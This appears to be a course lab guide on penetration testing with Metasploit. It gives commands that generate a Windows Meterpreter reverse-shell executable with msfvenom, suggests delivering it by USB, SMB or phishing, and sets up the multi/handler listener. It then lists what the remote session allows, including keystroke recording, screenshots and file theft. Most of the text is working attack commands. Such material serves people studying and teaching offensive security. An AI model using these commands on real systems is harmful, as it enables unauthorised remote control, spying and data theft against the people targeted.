**🧪 Experiment 3: Penetration Testing using Metasploit**

**✅ Step-by-Step Guide (As Per the PDF)**

**🔹 Step 1: Open the Metasploit Tool**

Run the following in the terminal:

bash

CopyEdit

msfconsole

This opens the Metasploit Framework Console.

**🔹 Step 2: Create Malware for the Specific System**

Use msfvenom to generate a payload. For example, to create a reverse shell for a Windows system:

bash

CopyEdit

msfvenom -p windows/meterpreter/reverse\_tcp LHOST=<your\_ip> LPORT=4444 -f exe > malware.exe

**Explanation:**

* -p specifies the payload type.
* LHOST is your Kali IP address (use ifconfig to find it).
* LPORT is the port Metasploit will listen on.
* -f exe makes it an executable.
* Output: malware.exe

**🔹 Step 3: Load the Malware at the Target System**

Transfer malware.exe to the target machine (this step is manual and based on your lab setup). Use methods like:

* USB
* SMB
* Social Engineering (phishing)
* Or simulated environments like **Metasploitable VM**

**🔹 Step 4: Run the Malware at the Target System**

On the **target system**, run the malware.exe (double click or run via terminal).

**🔹 Step 5: Exploit the Target System**

Back on your **Kali system**, set up a listener using Metasploit:

bash

CopyEdit

use exploit/multi/handler

set payload windows/meterpreter/reverse\_tcp

set LHOST <your\_ip>

set LPORT 4444

exploit

Once the target runs the malware, you'll get a **Meterpreter shell** like:

nginx

CopyEdit

meterpreter >

From here, you can execute commands on the target system.

**🧾 Output:**

* A successful Meterpreter session (remote shell)
* Ability to:
  + Browse files
  + Capture screenshots
  + Record keystrokes
  + Download/upload files